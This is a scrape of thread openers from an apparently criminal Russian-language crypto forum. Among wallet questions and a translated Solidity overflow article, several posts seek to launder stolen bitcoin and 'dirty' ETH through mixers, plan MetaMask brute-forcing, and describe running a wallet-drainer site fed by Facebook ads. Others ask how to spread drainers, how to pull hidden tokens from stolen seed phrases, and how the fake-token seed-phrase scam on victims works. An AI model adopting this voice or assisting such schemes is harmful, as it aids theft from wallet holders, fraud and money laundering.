I have a large amount of stolen bitcoins and I would like to exchange them for monero, I have been looking for 2 months but I have not found any reliable service. If people know the ways to exchange them please share or I can sell part of my funds for 50% of the price in monero my DM is open

Есть ли холодные кошельки с открытым исходным кодом для USDT-TRC20?
ID: 67686ad7b4103b69df379985
Thread ID: 64688
Created: 2022-03-23T13:29:02+0000
Last Post: 2022-03-28T13:41:48+0000
Author: chillco
Replies: 7 Views: 298

Здравствуйте. Ищу холодный кошелек USDT-TRC20 для десктопа (в приоритете для линукса) с открытым исходным кодом. Что то на подобии electrum'а для биткоина. Есть ли такие? Если нет, какой из существующих кошельков наиболее безопасный? (кроме hardware кошельков)

Посоветуйте Ethereum кошелек
ID: 67686ad7b4103b69df3799b5
Thread ID: 60071
Created: 2021-12-15T01:28:05+0000
Last Post: 2021-12-15T23:55:14+0000
Author: chillco
Replies: 5 Views: 298

Здравствуйте. Нужно создать Ethereum кошелек. Какой кошелек (софт) посоветуете использовать? Должна быть версия на линукс и хранить ключи конечно же локально. Приватный, как electrum для биткоина.

Arbitrum airdrop
ID: 67686ad7b4103b69df379889
Thread ID: 84102
Created: 2023-03-19T08:46:01+0000
Last Post: 2023-03-19T08:54:41+0000
Author: nightcity
Replies: 1 Views: 297

Интересует, много-ли наших ребят в теме, кому скока насыпало? Что думаете по ценнику? Сейчас на IOU цена 10 баксов за монету. Наверняка щяс скам конкретно по этой теме активизировался, дрейнеры и т д, кто хуярит?)
Арбитрум топ монета, посрамит всех, обратите внимание на нее пристально

2p2 арбитраж криптовалюты
ID: 67686ad7b4103b69df379857
Thread ID: 88658
Created: 2023-05-23T06:04:44+0000
Last Post: 2023-05-23T06:04:44+0000
Author: vetem
Replies: 0 Views: 296

Заинтересовался идеей заработка на p2p. У кого нибудь есть любая информация по этой нише?

Анализ криптопроекта.
ID: 67686ad7b4103b69df3798ea
Thread ID: 75461
Created: 2022-11-08T07:04:33+0000
Last Post: 2022-11-10T12:36:57+0000
Author: Lum3n
Replies: 1 Views: 295

Приветствую всех, Друзья!

В этот раз решил поделиться своим методом анализа криптопроекта.

Не судите строго!

Анализ криптопроекта.

1. Идея криптопроекта:

Переходим на официальный сайт, ищем информацию о идеи проекта (Whitepaper).
Также ищем Github (огромный плюс, если код открытый) проекта, смотрим количество и активность разработчиков.
Задаем себе вопрос, есть ли что-то уникальное в данном проекте или это очередной проект с конвейера?

2. Команда:

Оцениваем команду, огромный плюс, если она не анонимная и есть информация о опыте и предыдущих проектах (Linkedin).

3. Фонды:

Оцениваем наличие фондов, которые инвестировали в проект. После ищем в таблице с фондами и определяем тир.
В идеале проверить действительно-ли фонд инвестировал в данный проект (найти этот проект в портфолио на официальном сайте фонда или упоминание об этом проекте, где либо).

4. Токеномика:

Оцениваем токеномику данного проекта.
Пытаемся определить потенциал роста.

1. _Смотрим на капитализацию (в идеале до 1 миллиона долларов) данного проекта и капитализацию конкурентов/похожих проектов.
Отвечаем на вопросы:

Проекту есть куда расти?

Насколько изменится цена токена, если капитализация будет, как у конкурентов?

Если потенциал роста маленький, стоит ли покупать токен, чтобы заработать ~ 5-20% при высоком риске?

Если потенциал роста хороший, идём дальше по списку!_

2. _Смотрим на распределение токена и вестинг (блокировка).
Отвечаем на вопросы:

Какое количество токенов идёт команде (в идеале до 15% с блокировкой на 12 месяцев и более), больших инвесторов и т.д? Много или терпимо?

Если много, то есть ли постепенная разблокировка токенов? Или большинство токенов сразу будет доступно для продажи?

Если есть постепенная разблокировка токенов и команда, большие инвесторы не смогут обрушить цену, то идём дальше!

Хорошие показатели: Team - до 15% (блокировка на 12 месяцев и более), Public sale - 1-3%, Advisors - до 10% (чем больше, тем лучше). Желательно, чтобы разница в цене Presale и Public sale была не больше x5.

Сборы на IDO выше 10 миллионов долларов, очень рискованные (до 5 миллионов долларов, хороший показатель).

Рискованно покупать токен, если он сделал на листинге x100, нужно смотреть капитализацию, есть ли ещё куда расти._

3. Смотрим является ли токен инфляционным или дефляционным.
Если токен дефляционный - отлично!
Если инфляционный - смотрим есть-ли механики дефляции (сжигание) и пытаемся понять насколько инфляция будет негативно влиять на цену.

4. _Смотрим на применяемость токена.
Отвечаем на вопросы:

Даёт ли держание токена, какое либо преимущество/возможность дополнительного заработка?

Если ответ - да, будут-ли эти преимущества побуждать других инвесторов покупать данный токен?

Если ответ - нет, то возможно применяемость будет в будущем и инвесторы сейчас делают ставку на ожидание?_

5. Если токен уже торгуется - проверяем контракт на обозревателе блоков (BSCScan, EtherScan).
Убеждаемся, что нет нескольких кошельков с большим количеством токенов (от 8%), которые могут обрушить цену.

5. Социальные сети (Twitter, Telegram, Discord):

_Оцениваем социальные сети.

Подписчики реальные люди или боты?

Насколько активная аудитория?

Смотрим оценку Twitter (Coinsguru). Оценка выше 95 - хороший показатель.

Оцениваем насколько активные админы/поддержка в чате._

6. Документация:

Оцениваем документацию/whitepaper проекта.

Полезные ссылки:

1. https://coinmarketcap.com/ru/
2. https://coincheckup.com/
3. https://chainlist.org/
4. https://poocoin.app/
5. https://www.dextools.io/
6. https://cryptorank.io/ru
7. https://icodrops.com/
8. https://coinsguru.io/
9. https://coinmarketcal.com/en/
10. https://messari.io/

Таблица с фондами - <https://mega.nz/folder/ZTUXwSYA#6X5OoKWje- y_SeqGLGWJQA>

Искренне надеюсь, что принёс пользу сообществу.

Благодарю за внимание!

Торговая система с доходностью ~ 1% в день. Кому можно продвинуть или найти инвестиции
ID: 67686ad7b4103b69df3799ca
Thread ID: 59049
Created: 2021-11-19T16:32:17+0000
Last Post: 2021-11-19T17:19:56+0000
Author: OP13
Replies: 7 Views: 294

Сейчас у меня есть рабочая торговая система по крипте которая приносит мне от 1% в день, полностью автоматическая, ждет и обрабатывает сделки 24\7. Работает через уведомления в TradingView подключаемые в вебхуки и передающие сигнал в торговый терминал. Устанавливается стоп-лоссс и тейк профит. Сейчас оно работает уже 2 месяца. Сколько еще проработает не знаю. Поэтому хотел поинтересоваться, реально ли кому то ее продать или поработать совместно с дележкой профита.

Короткий курс на английском по web3dev
ID: 67686ad7b4103b69df3798a9
Thread ID: 81309
Created: 2023-02-05T13:54:59+0000
Last Post: 2023-02-06T12:42:12+0000
Author: Palem58
Replies: 1 Views: 292

<https://www.web3.university/tracks/road-to-web3/how-to-build-a-buy-me-a- coffee-defi-dapp>. Советую посмотреть,вроде бы не плох в видео форматах. Разбит на недели,пока early access советую залетать
1675605274520.png

roadmap по изучению solidity
ID: 67686ad7b4103b69df3798aa
Thread ID: 81275
Created: 2023-02-04T22:43:17+0000
Last Post: 2023-02-04T22:43:17+0000
Author: Palem58
Replies: 0 Views: 291

teletype.in

[ Выучить Solidity за 30 дней: роадмап по становлению tern.crypto

](https://teletype.in/@maxycrypto/solidity_30days)

Статья, которая даст тебе всё необходимое для старта погружения в солидити и девелопинг в web3.

teletype.in teletype.in

Всем советую к прочтению,читаю его телеграмм канал уже два дня,куча полезной инфы на тему web3, так же у него в телеграмм канале можно найти ссылки и на другие не менее полезные. Вообщем все хорошего настроения и настроя к обучению.
Всех поцеловал

Вопрос про верификацию видео на бирже
ID: 67686ad7b4103b69df37975f
Thread ID: 110423
Created: 2024-03-14T19:27:37+0000
Last Post: 2024-03-22T07:43:51+0000
Author: nogodno
Replies: 1 Views: 289

Вопрос может и простой, но нужен совет.

Короче столкнулся с проблемой, надо поменять почту, так как на старую не приходят коды( ни для логина, ни для вывода). Биржа сначала фото паспорта запросила а теперь просит видео через приложения. Подскажите решения

Ищу автовывод под холодные кошельки
ID: 67686ad7b4103b69df37998a
Thread ID: 63456
Created: 2022-02-24T15:25:42+0000
Last Post: 2022-03-21T17:26:26+0000
Author: usdt
Replies: 1 Views: 289

может видели на форумах?

Путь к файлу wallet.dat exodus кошелька на андроиде
ID: 67686ad7b4103b69df37998c
Thread ID: 64317
Created: 2022-03-16T08:20:31+0000
Last Post: 2022-03-16T11:38:13+0000
Author: Jaday
Replies: 1 Views: 289

Привет, подскажите пожалуйста путь к файлу wallet.dat exodus кошелька на андроиде

Скрипт для фарма taiko(работает через раз)
ID: 67686ad7b4103b69df379677
Thread ID: 128177
Created: 2024-12-03T20:35:51+0000
Last Post: 2024-12-03T20:35:51+0000
Author: DedJhones
Replies: 0 Views: 288

Выкладывал топик по продаже мануала по фарму taiko

https://xss.is/threads/126710/

Понял, что тема не особо интересна за такие деньги, поэтому решил слить скрипт пока ещё есть время. Дедлайн 16 декабря

Скрипт работает через раз. Может кто доделает и заабузит данную тему

main.py

Python:Copy to clipboard

from web3 import Web3
import json
import time
import random

# Подключение к RPC узлу Taiko (или любой другой сети)
taiko_url = "https://rpc.taiko.tools"
web3 = Web3(Web3.HTTPProvider(taiko_url))

# Проверка подключения
if web3.is_connected:
    print("Connected to the network")
else:
    print("Failed to connect to the network")

# Адрес и ABI смарт-контракта
contract_address = "0xA51894664A773981C6C112C43ce576f315d5b1B6"
with open('contract_abi.json') as f:
    contract_abi = json.load(f)

# Создание экземпляра контракта
contract = web3.eth.contract(address=contract_address, abi=contract_abi)


for j in range(1):
    # Случайный выбор шага
    random_step = random.randint(0, 10)

    # Генерация случайного числа
    random_number = 0.000001 + random_step * 0.0000001

    amount_in = web3.to_wei(random_number, 'ether')

    # Начальный nonce
    nonce = web3.eth.get_transaction_count(my_address[j], 'pending')

    # Подготовка транзакций
    for i in range(10):
        transaction = contract.functions.deposit().build_transaction({
            'from': my_address[j],
            'value': amount_in,  # Количество ETH для обертывания
            'gas': 46000,  # Лимит газа
            'gasPrice': web3.to_wei('0.120000001', 'gwei'),  # Цена газа
            'nonce': nonce + i  # Увеличение nonce для каждой транзакции
        })
        try:
            signed_txn = web3.eth.account.sign_transaction(transaction, private_key=private_key[j])
            txn_hash = web3.eth.send_raw_transaction(signed_txn.raw_transaction)
        except Exception as e:
            print(f"Error: {e}")
            break
        print(f"Transaction hash: {web3.to_hex(txn_hash)}, {my_address[j]}")

        time.sleep(1)

contract_abi.json

JSON:Copy to clipboard

[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"guy","type":"address"},{"name":"wad","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"src","type":"address"},{"name":"dst","type":"address"},{"name":"wad","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"wad","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"dst","type":"address"},{"name":"wad","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"src","type":"address"},{"indexed":true,"name":"guy","type":"address"},{"indexed":false,"name":"wad","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"src","type":"address"},{"indexed":true,"name":"dst","type":"address"},{"indexed":false,"name":"wad","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"dst","type":"address"},{"indexed":false,"name":"wad","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"src","type":"address"},{"indexed":false,"name":"wad","type":"uint256"}],"name":"Withdrawal","type":"event"}]
По поводу брута Метамаска
ID: 67686ad7b4103b69df3797a2
Thread ID: 106606
Created: 2024-01-24T20:33:42+0000
Last Post: 2024-01-24T23:12:56+0000
Author: Warden001
Replies: 3 Views: 288

Всем привет кто читает, я думаю что все видят насколько часто приходят новые брутеры крипты на различные форумы и сразу заносят кучу депов и так далее, хочу узнать о том с чего вообще начинать в сфере брута Метамаска?
Лично вот мои идеи как начать, первое это составить словарь для брута, второе это найти сервера (понятное дело купить), и дальше все за малым по типу понять как работает хешкет.
Можно ли в теории пробовать брутить кошельки с паблик раздач по типу тг и так наращивать опыт? Ибо я не верю что все криптаны приходят сразу с милионами и крутые брутеры, думаю что многие тоже на паблике учились, дайте дельных советов с чего начать....

Опять же знаю что дрочить паблик пробовать тоже тупость, но если лог в раздаче новый и нигде не бывал до этого то может палка стрельнет раз?
Заранее спасибо за ответы.

Так же, сейчас я активно занимаюсь проливом трафика с фейсбука на свой сайт с дрейнером, дабы понять актуально ли это.
Пока что результатов таковых нет, но уникальные клики и так далее есть и пару подключений кошельков, думаю до конца этой недели пойму стоит продолжать или не судьба.

А и да, если будет возможно покидайте ссылки на материалы (к примеру где купить сервер и прочее), спасибо!

Подскажите пожалуй криптокошельки для TRON?
ID: 67686ad7b4103b69df379800
Thread ID: 95768
Created: 2023-08-16T02:56:01+0000
Last Post: 2023-08-16T13:34:13+0000
Author: d333d
Replies: 5 Views: 287

Exodus и TrustWallet знаю, а что еще есть?

В гугле не забанен в этот раз, но допустим гугл говорит про метамаск, но там не вижу монеты трон.

Аирдроп 268 TRX (~15$)
ID: 67686ad7b4103b69df379984
Thread ID: 64932
Created: 2022-03-28T11:21:28+0000
Last Post: 2022-03-28T13:53:19+0000
Author: desumakfa
Replies: 10 Views: 287

Spoiler: Сомнительно.

Доброго времени суток.

Для аирдропа нужно установить приложение Trust Wallet, либо любое другое поддерживающее этот токен!
При правильных действиях получите свои Зеленые.

1. Переходим в бота:TRXTron_Airdrop2022BOT
2. Вступаем в их канал
1648466281791.png
3. Копируем адрес нашего TRX кошелька из приложения и вставляем через шестеренки в боте
4. В боте нажимаем на кнопку CLAIM FREE и получаем монеты
1648466313544.png
Аирдроп завершится 31 марта

Копирование токена
ID: 67686ad7b4103b69df379995
Thread ID: 63070
Created: 2022-02-16T19:39:42+0000
Last Post: 2022-02-19T04:23:16+0000
Author: Cendareto
Replies: 3 Views: 284

Всем привет, подскажите как реализовывают схему с токенами в ERС20?

Вот мне дали кошель с токеном типо "помоги вывести", но если я правильно понимаю это не настоящий токен.
Сама схема такая - мамонту дают кошель с просьбой помочь вывести токен, т.к. токен находится в сети ERC20, то там большая комса и следовательно мамонту надо поплнить кошелек эфиром, чтобы вывести данный токен, но как только он пополняет кошелек бот сразу выводит этот эфир с кошелька, и фраза для входа в аккаунт передается следующему мамонту.

Вопрос: Как эти работяги копируют токен в траст валлет? Я сомневаюсь, что это настоящий токен, потому что, мне ничего не мешает написать/купить бота, который попытается вывести этот токен быстрее, чем бот хозяина кошелька, а это риск потерять 2к $
1645040304000.png

Telegram – не только мессенджер, но и рай для криптомошенников
ID: 67686ad7b4103b69df3797a4
Thread ID: 106538
Created: 2024-01-24T06:06:02+0000
Last Post: 2024-01-24T06:06:02+0000
Author: sasha-meteor
Replies: 0 Views: 281

Больше 40% контента о криптовалютах в мессенджере носит мошеннический характер.

image

Аналитики компании Angara Security изучили публикации о криптовалютах в открытых Telegram-каналах с использованием OSINT-инструментов. По данным исследования, с которым [ознакомился](https://www.forbes.ru/tekhnologii/504523-creepy-valuta-pocti- polovina-postov-v-telegram-o-kriptovalutah-mosenniceskie) Forbes, в 2023 году было выявлено около 22 000 материалов на тему криптовалют, из которых около 9000 были признаны подозрительными и удалены. Удаление материалов происходило по различным причинам: на основании жалоб пользователей, действиями техподдержки Telegram и по заявлениям специалистов в области Threat Intelligence. Некоторые сообщения удалялись самими преступниками для их последующего использования на других платформах. Несмотря на удаление, эти данные остаются в архиве Telegram для анализа.

В большинстве удаленных сообщений предлагалось инвестировать в крипторынок с обещанием быстрого обогащения, например, превратить 1000 рублей в 70 000 рублей. Для этого использовались агрессивные названия Telegram-каналов, такие как «заработок сейчас», «путь к успеху», «умные инвестиции», «крипто ферма», «крипто бабос», «официальный канал» и т.д. Основные типы контента на таких каналах включали курсы по заработку на криптовалютах, предложения о вкладах в криптоактивы и скрытую рекламу различных платформ.

Помимо этого, мошенники обращали внимание на проблемы как рядовых пользователей, так и компаний. Они привлекали внимание фразами вроде «ваши активы не смогут заморозить…», предлагая юридическим лицам регистрировать офшорные компании и инвестировать в криптовалюту для уклонения от формальностей при легализации бизнеса в иностранных юрисдикциях.

В 2023 году в русскоязычном сегменте интернета было зарегистрировано около 1500 доменов, связанных с инвестициями в криптовалюты, 50% из которых появились в IV квартале. При этом многие из зарегистрированных доменов использовали отсылки к платформам Binance и CommEX. «697 доменов сейчас неактивны — это 47% из всех зарегистрированных за 2023 год. Часть из них заблокировали регистраторы доменов, часть уже продается следующим пользователям, некоторые пустуют без контента» - уточнили в Angara Security.

Криптовалютная биржа Binance прекратила работу в России к концу прошлого года, после чего мошенники начали мимикрировать под платформу CommEX, создавая аналогичные проекты с целью вымогательства.

По данным Mediascope, Telegram показывает высокие темпы роста среди коммуникационных платформ, его охват в октябре 2023 года составил 82,3 млн человек, что на 15% больше, чем в аналогичный период в прошлом году, и на 62% больше, чем осенью 2021 года. За два года аудитория Telegram в России выросла более чем на 30 млн человек.

Эксперты в области кибербезопасности подчеркивают, что криптовалюта продолжает привлекать внимание мошенников и киберпреступников. Инвестиционное мошенничество с использованием криптовалют часто включает в себя использование имен известных людей и брендов. Наблюдается увеличение числа криптоскамов и фишинговых атак, особенно через платформы вроде Telegram. Появляется больше сообщений о продаже и покупке мошеннических схем, связанных с криптовалютами. Злоумышленники активно используют разнообразные методы для привлечения аудитории на фишинговые и мошеннические ресурсы, включая создание фейковых сайтов и компаний, связанных с криптоиндустрией, а также используют поддельные аккаунты и рекламу в социальных сетях.

Подробнее: https://www.securitylab.ru/news/545352.php

Подскажите где обменять грязный ефириум на чистый бтк или другую крипту
ID: 67686ad7b4103b69df3797ba
Thread ID: 104841
Created: 2023-12-29T22:06:02+0000
Last Post: 2023-12-29T22:11:42+0000
Author: alexxs
Replies: 1 Views: 280

посоветуйте миксер проверенный где можно обменять грязный ефир

Свой блокчейн + своя монета
ID: 67686ad7b4103b69df37994d
Thread ID: 68887
Created: 2022-06-19T09:48:13+0000
Last Post: 2022-06-23T05:54:49+0000
Author: 2fast
Replies: 1 Views: 280

Всем хай! Сделал свою монету, помогите советом где держать серваки. Пока сервера в японии

Отработка ETH токенов и metamask?
ID: 67686ad7b4103b69df3799e6
Thread ID: 56515
Created: 2021-09-10T13:03:01+0000
Last Post: 2021-09-10T13:28:02+0000
Author: LOVE
Replies: 2 Views: 279

Интересуют способы поиска скрытых токенов и максимлаьная отработка того, что есть у человека.
Предположим есть сид фраза от метамаск. Как в ручную или через какие сервисы проверять?
На форуме многие предоставляют услуги поиска токенов. Они просто проверяют через сервис вроде debank com? Или что-то сложнее?
Так же интересует поиск нфт.

Fragment.com // Как продать юзер // Как установить 2+ юзера на аккаунт/канал
ID: 67686ad7b4103b69df3797ee
Thread ID: 97638
Created: 2023-09-08T21:19:01+0000
Last Post: 2023-09-08T21:19:01+0000
Author: baykal
Prefix: Статья
Replies: 0 Views: 278

Fragment.com | Как продать username | Как установить 2+ юзера на аккаунт/канал

Давно интересовались, как поставить 2 и более юзернейма на аккаунт/канал или как продать свой юзернейм кому-либо, получив за это real cash $$?

В этой статье разберём как сделать такой профиль

84a7256869c9e7e77fabc8bc83dde3ed.png

[1] Ответы на часто-задаваемые вопросы

Q: Могу ли я бесплатно сделать себе второй username?
A: Нет, для этого придется заплатить комиссию сайта, если вы первый раз делаете данную операцию, придётся заплатить ~5.1 TON комиссии, что равняется ~7 USD.
Последующие будут обходится в 5% комиссии от минимальной ставки (10 TON = ~0.7 USD).

Q: Могу ли я бесплатно выставить свой username аккаунта или канала на продажу бесплатно?
A: Да, выставить на аукцион свой username вы можете бесплатно, не платив никаких комиссий.

Q: Какое максимальное количество username'ов может занять 1 аккаунт TG?
A: Без Premium вы можете создать до 10-ти каналов + username аккаунта, с Premium до 20-ти.
Так же иногда может вылезти фрод, и вам забанят возможность создавать каналы с одного аккаунта, навсегда или на пару часов.

[2] Как выставить username на продажу, что для этого нужно?

Первое, что понадобится, это кошелёк TonKeeper, скачать можно в AppStore или Google Play. Скачиваем, создаём кошелёк.
Далее, заходим на сайт Fragment.com, нажимаем Connect TON, и входим с помощью кошелька, далее Коннектим таким же образом Telegram, с которого хотим продать/получить username в виде NFT.

36e95f72394d2a141948e856a5698bda.png

После авторизации, переходим во вкладку My assets в правом верхнем углу

622ba19524bd93a76dc83baa68300ca0.png

И кликаем на кнопку Convert Usernames to Collectibles [Конвертировать username в NFT]

269d2657dcc8e1b310fe14ba3e947781.png

Здесь мы видим список username'ов, которые привязаны к вашему аккаунту, т.е. ваш основной username, а так же ваших публичных каналов/чатов

31257220a15e4809e7c0e5e254625b06.png

Теперь, чтобы выставить один из ваших username'ов на аукцион, вы должны выполнить несколько условий

1. Username должен быть в вашем владении 2+ недели
2. На вашем аккаунте должен быть установлен 2FA Cloud Password

Кликаем на нужный нам username "Place on Auction", бот отправляет вам запрос, подтверждаем выставление на аукцион, введя свой 2FA пароль от ТГ аккаунта.

6cf6f2f8715f0090ca39165082e3792b.png

После подтверждения, возвращаемся на Fragment.com и видим данное окно

13581e40d16befb383a7fc94335f475d.png

Минимальная ставка для начала аукциона для новых username'ов — 10 TON [~14.5 USD]. Ставим цену по вашему желанию, или минимальную, если хотите забрать username себе.
Жмём кнопку "Create Autction", и теперь ваш username выставлен на Fragment и аукцион может начать любой пользователь, сделав первую ставку.
После первой ставки, аукцион длится 7 дней, побеждает тот, кто внёс последнюю ставку.

Из примера получаем: https://fragment.com/username/rdpus

[3] Как выкупить свой username, и установить его себе на аккаунт

Чтобы выкупить свой username, вам нужен TON, в количестве 10-ти монет, т.к. это минимальная ставка для начала аукциона.

Где взять TON? Самый простой и очевидный ответ — купить. Где? На любой бирже, или хоть в том же CryptoBot/Wallet

Выставляем свой username на аукцион, и делаем первую ставку с помощью кошелька, тем самым начав аукцион.

Сколько будет стоить получить свой второй username?
One-time комиссия - 5 TON + 5% постоянная комиссия, тоесть после пополнения кошелька на 10 TON, и совершения ставки, в случае выигрыша аукциона, вы (как владелец данного юзера) получите 4.5 TON, тоесть цена за ваш новый юзер - 5.5 TON ~7.5 USD)

Ждем 7 дней, и если никто не перебьёт ставку, получаем username в виде NFT, выглядит это примерно так

f492550dae3781d82faedc7575f0aadb.png

Далее, после получения вашего username'а в виде NFT, переходим снова на фрагмент, во вкладку My assets, и нажимаем кнопку "Assign Telegram", и выбираем аккаунт/канал, куда привязать username.
После этого, чтобы username отображался на вашем аккаунте, кликаем в настройках профиля ТГ на "Имя пользователя", и активируем новые и располагаем в нужном порядке.

c0cec61af83683c3d23ed0dc1a4fc339.png

[END]

Теперь вы знаете, как продать или купить понравившийся вам username, или же поставить себе второй (или несколько) на один аккаунт/канал.
Если займете какой-то супер-мега-ультра-люто редкий или красивый username, и достаточно пропиарите его (чтобы кто-то начал аукцион, совершив первую ставку), сможете заработать немного (или много) cash'a без вложений.

На этой "теме" неосознанно заработал ~120$, но, это не способ заработка! (наверное)

Автор @everdirect
источник exploit.in

Как выглядит майненный bitcoin?
ID: 67686ad7b4103b69df3798c0
Thread ID: 80111
Created: 2023-01-16T20:41:45+0000
Last Post: 2023-01-16T20:51:30+0000
Author: pablo
Replies: 1 Views: 277

Как выглядит в блокчейне намайненный биткоин? как внешне отличить девственный намайненный биток от обычного, кроме aml проверки?

how to spread NFTs drainers
ID: 67686ad7b4103b69df379919
Thread ID: 71766
Created: 2022-08-16T08:11:03+0000
Last Post: 2022-08-18T11:05:52+0000
Author: somuchmore
Replies: 5 Views: 277

What's the best method to spread NFTs and ETH drainers?

Автовывод любой монеты / Auto withdrawal of any coin
ID: 67686ad7b4103b69df379981
Thread ID: 65336
Created: 2022-04-07T15:12:19+0000
Last Post: 2022-04-07T15:16:05+0000
Author: Code
Replies: 1 Views: 277

Spoiler: Закрыто на депозит. Closed for deposit.


Контакт в жабе, телеге, или профиле

Spoiler: EN

CryptoMiners in 2023
ID: 67686ad7b4103b69df37986b
Thread ID: 85421
Created: 2023-04-07T13:49:31+0000
Last Post: 2023-04-25T19:23:49+0000
Author: qGodless
Replies: 1 Views: 276

Are they still profitable in this time, only using common spreading methods

Вывод из блока с биржи OKX (нужна помощь)
ID: 67686ad7b4103b69df379812
Thread ID: 93223
Created: 2023-07-17T17:20:48+0000
Last Post: 2023-08-05T18:31:25+0000
Author: Professoro
Replies: 3 Views: 275

Доброго времени суток. На акк зашли битки с высоким aml, с казино, встали в блок, поддержку дрочить по факту бесполезно, писали досудебку тоже ноль реакции. Может быть у кого есть положительный опыт решения ситуации?

Взлом Solidity: целочисленное переполнение и недополнение
ID: 67686ad7b4103b69df379920
Thread ID: 67660
Created: 2022-05-26T04:06:48+0000
Last Post: 2022-08-11T18:34:23+0000
Author: вавилонец
Replies: 2 Views: 274

Взлом Solidity: целочисленное переполнение и недополнение ​

1653537324622.png

Немного базовых знаний

Целое число — это целое число, поэтому оно не имеет дробных частей. Целые числа могут быть как положительными, так и отрицательными. Существует множество различных диапазонов целых чисел, которые могут использоваться в языках программирования, но Solidity использует диапазон 256-битных целых чисел без знака. Это означает, что числа начинаются с 0 и идут до 115792089237316195423570985008687907853269984665640564039457584007913129639935 (в десятичной системе).
Solidity выдаст ошибку, если вы попытаетесь присвоить значение, не являющееся целым числом, переменной, объявленной как единица. Вы можете проверить, что происходит, попробовав установить логическую (true/false) переменную, равную целому числу.
Когда вы используете целые числа с математическими операциями, вам нужно знать, что происходит, когда значения становятся слишком большими или маленькими для своего диапазона. Переполнение происходит, когда превышено максимальное значение, а недополнение происходит, когда превышено минимальное значение.

Solidity — это контрактно-ориентированный язык высокого уровня для реализации смарт-контрактов. На него повлияли C++, Python и JavaScript, и он предназначен для виртуальной машины Ethereum (EVM). Solidity имеет статическую типизацию, поддерживает наследование, библиотеки и сложные определяемые пользователем типы среди других функций.

Целочисленное переполнение и недополнение​

Целочисленное переполнение и недополнение — это уязвимости, которые могут привести к краже средств или другой информации в смарт-контракте. В этой статье объясняется, что это за уязвимости, почему их важно понимать и как их избежать.

В Solidity целые числа подписываются, если они не отмечены буквой «U» в верхнем регистре в конце. Целое число без знака имеет тип uint; целое число со знаком имеет тип int.

Диапазон значений 256-битного числа со знаком (int256) — от -(2²⁵⁵) до 2²⁵⁵ —

  1. Диапазон значений 256-битного числа без знака (uint256) — от 0 до 2²⁵⁶ — 1.

1653537419234.png

Пример кода контракта​

Code:Copy to clipboard

    function deposit() public payable{

    _balance[msg.sender] = _balance[msg.sender].add(msg.value); //Add method of SafeMath library is used to add two numbers and throws an error if the calculation overflows/underflows a type

    }

    function withdraw(uint256 amount) public {

    require(_balance[msg.sender] >= amount, “Insufficient balance”); //checking for sufficient balance before withdrawing funds

    _balance[msg.sender] = _balance[msg.sender].sub(amount); //Subtract method of SafeMath library is used to subtract two numbers and throws an error if the calculation overflows/underflows a type

    msg.sender.transfer(amount); //send funds back to the caller address

    }

    function withdrawAll() public {

    uint256 amount = _balance[msg.sender]; //store balance in amount variable so that we can use it after resetting the mapping value to 0 as part of withdrawAll process

    _balance[msg.sender] = 0; //reset the mapping value after storing current balance in temporary variable (amount)

    msg.sender.transfer(amount); // send entire balance back to the caller address by using transfer method on msg object which represents sender address (caller’s address)

    }

Векторы атаки​

Есть несколько способов, которыми вы можете использовать целочисленное недополнение/переполнение для получения желаемых математических результатов.

Будьте осторожны при использовании целых чисел в коде смарт-контракта!​

Язык программирования Solidity был разработан для помощи в написании смарт- контрактов Ethereum. Сегодня это самый популярный выбор для написания смарт- контрактов.

Solidity — это язык, который компилируется в байт-код виртуальной машины Ethereum (EVM) и сохраняется в блокчейне. EVM — это среда выполнения, которая выполняет код смарт-контракта и управляет его состоянием, но в ней отсутствуют некоторые функции, которые мы считаем само собой разумеющимися при работе с другими языками программирования, такими как JavaScript. В частности, в Solidity нет встроенной поддержки целых чисел без знака, поэтому, если вы не будете осторожны при их использовании, ваш контракт может быть уязвим для ошибок целочисленного переполнения/опустошения!

Целочисленное переполнение/недополнение происходит, когда вы пытаетесь сохранить что-то большее, чем может поместиться в целочисленной переменной, или меньше 0 в целочисленной переменной без знака. Каждый раз, когда это происходит, вместо получения ожидаемого результата переменной будет присвоено непреднамеренное значение.

Переведена вот [статья](https://learn.block6.tech/solidity-hacking-integer- overflow-and-underflow-293a0fe04756)

I like it!​

написание кошелька
ID: 67686ad7b4103b69df379936
Thread ID: 70558
Created: 2022-07-23T17:44:51+0000
Last Post: 2022-07-24T05:57:14+0000
Author: zabki
Replies: 8 Views: 274

добрый день!
как сделать свой кошелек для крипты?

Реальные уязвимости смарт-контрактов
ID: 67686ad7b4103b69df3798b5
Thread ID: 80769
Created: 2023-01-27T20:47:40+0000
Last Post: 2023-01-27T20:47:40+0000
Author: Code
Replies: 0 Views: 273

Может тут есть кто-то, кто реально находил уязвимости в смарт-контрактах и успешно экспулатировал их?

Поделитесь опытом. Интересно будет почитать про реальные кейсы.
